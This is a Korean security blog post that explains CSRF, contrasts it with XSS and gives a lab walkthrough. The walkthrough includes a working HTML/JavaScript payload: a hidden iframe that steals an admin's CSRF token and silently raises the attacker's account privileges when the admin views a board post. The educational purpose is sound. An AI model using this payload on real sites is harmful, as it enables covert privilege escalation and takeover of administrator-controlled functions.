CSRF이란?
CSRF는 관리자의 브라우저가 특정 웹 페이지로 공격자가 원하는 요청을 보내도록 유도하는 취약점이다. 2008년에 발생한 옥션의 개인정보 유출사건도 이 방법을 통한 관리자 계정 탈취 방법에도 사용된 기법으로, 공격의 난이도가 높지 않아 널리 사용되는 방법 중 하나이다.
XSS와 차이점
XSS
- 클라이언트가 피해 대상으로 주로 공격 대상 사이트의 내부 페이지에서 일어난다.
- 쿠키 및 세션 등 관리자의 정보 탈취, 악성페이지로 유도해 2차 피해 유발을 위해서 주로 사용되는 공격이다.
- XSS는 사용자의 입력 값 및 페이지 출력 값을 검증하지 않아 페이지 로드 시 악의적인 스크립트가 실행되는 것으로, 악의적인 스크립트를 작성하고 이것을 페이지에 포함시킨 후 실행을 유도하는 공격이다.
- 스크립트 실행 불가 시 공격 불가능하지만 XSS 취약점이 발견되면 그 즉시 공격이 가능한 것이 특징이다.
- 보안 대책으로는 악의적인 스크립트 실행을 방지하고, 입력 값 및 출력 값에 대한 스크립트 포함 여부를 확인해야 한다.
CSRF
- CSRF의 피해 타겟은 서버로 주로 공격 대상 사이트의 내부 페이지, 혹은 외부 사이트에서 발생한다.
- 공격의 목적은 관리자 권한 획득 및 이후 공격자가 원하는 행위 (예: 개인정보 및 중요정보 탈취 등)를 수행이다.
- CSRF가 발생하는 원인은 본인이 요청한 것이 맞는지 검증하는 프로세스가 없을 때 사용자의 권한으로 의도치 않게 URL을 호출하게 된다.
- 서버에서 제공하는 기능을 도용하여 페이지에 포함시킨 후 실행을 유도하고, 스크립트를 사용하지 않아도 가능한 것이 특징이다.
- 공격 전, 공격 대상 서버의 Request, Response에 대한 분석을 통해 기능 파악 후 공격이 가능하므로 관련 취약점이 있으면 준비사항 없이 바로 공격이 가능한 XSS와는 대조적이다.
- 보안 대책으로는 관리자로부터 오는 요청이 실제 관리자가 보낸 것이 맞는지, 공격자에 의해 유도된 요청인지 검증하는 것 등이 있다.
실습
관리자 권한을 획득하여 공격자의 계정 권한 레벨을 수정해보겠다.
위와 같이 해당 로그인된 계정의 csrf 토큰이 페이지에 숨겨져있는 것을 확인하였고, 입력창에 아이디를 검색하면 아래와 같이 id 파라미터에 작성한 ID값이 들어가 있는 것을 확인할 수 있다.
이때 파라미터 값이 바뀌면서 동시에 csrf_token 값도 변한 것을 확인할 수 있다.
해당 페이지에서 원하는 계정의 권한을 1 -> 9로 수정하고 '수정' 버튼을 클릭하면 아래와 같이 alert창이 출력된다.
파라미터 값이 각각 권한 수정할 계정의 ID, 권한 수정을 요청한 사용자의 csrf_token, 목표 권한 레벨 순으로 되어 있는 것을 확인할 수 있으며, csrf_token 값은 이전 /levelup.jsp?id=test1122 페이지에서의 값과 동일하다는 것을 알 수 있다. 그리고 해당 작업을 진행한 계정이 관리자 계정이 아니다보니 관리자가 아니라서 권한이 불가하다는 alert창이 출력된 것을 확인할 수 있다.
따라서 공격자의 계정 권한 레벨을 수정하기 위해서는
- 관리자가 /levelup.jsp?id=test1122 페이지에 접속하게 해 해당 페이지에서 관리자 csrf_token을 획득하고
- 이후 바로 /levelupProcess.jsp로 이동시켜 관리자의 csrf_token으로 해당 계정의 권한을 바꿔야된다는 것을 알 수 있다.
- 이때 /levelup.jsp?id=test1122 페이지에서 관리자 토큰을 획득해도 접속할 때마다 토큰값이 바뀌기에 /levelup.jsp?id=test1122 페이지에서 바로 관리자 PC에서 /levelupProcess.jsp에 접근해야만 해당 작업이 성공하게 된다.
그리고 이 과정을 관리자는 전혀 눈치채지 못해야할 것이다.
Step 1. 게시판에 CSRF 공격 스크립트 삽입하기
작성자와 관리자만 확인할 수 있는 게시판(예: 1:1 문의 게시판)에 아래의 HTML 스크립트를 삽입 및 게시글을 업로드한다.
<!-- iframe을 이용하여 관리자가 게시글을 열람할 때 해당 게시글에서 /levelup.jsp 페이지에 접속할 수 있도록 한다.
이때 iframe은 관리자가 볼 수 없도록 크기를 0으로 한다. -->
<iframe id="frame" src="http://[웹페이지 주소]/levelup.jsp?id=test1122" width="0%" hieght="0%"></iframe>
<!-- iframe 값을 받아와서 관리자의 csrf_token 값을 얻어 변수에 저장하고,
iframe의 src 값을 levelupProcess.jsp로 변경하여 토큰을 얻자마자 바로 관리자가 levelupProcess.jsp에 접근하도록 한다. -->
<script>
var frame = document.getElementById('frame');
frame.onload = function() {
var csrfElements = frame.contentDocument.getElementsByName('csrf_token');
if (csrfElements.length > 0) {
var token = csrfElements[0].value;
frame.src="http://[웹페이지 주소]/levelupProcess.jsp?rid=test1122&csrf_token="+token+"&levels=9";
} else {
console.error("CSRF token input element not found");
}
};
</script>
해당 스크립트를 업로드한 게시글 페이지로 접근한 결과, 위와 같이 정상적으로 코드가 실행된 것을 확인할 수 있다.
위의 사진은 관리자가 아닌 공격자가 본인의 계정으로 접근한 결과이기에 권한 변경이 불가하다는 오류가 떴지만, 관리자가 접근한 결과 정상적으로 권한이 변경되었고, 그 결과는 아래와 같다.
'정보 보안 > 취약점 분석' 카테고리의 다른 글
API testing (0) | 2024.12.10 |
---|---|
XSS (0) | 2024.08.25 |
Blind SQL Injection (0) | 2024.08.25 |
Error-based SQL Injection (0) | 2024.08.19 |
Union SQL Injection (0) | 2024.08.19 |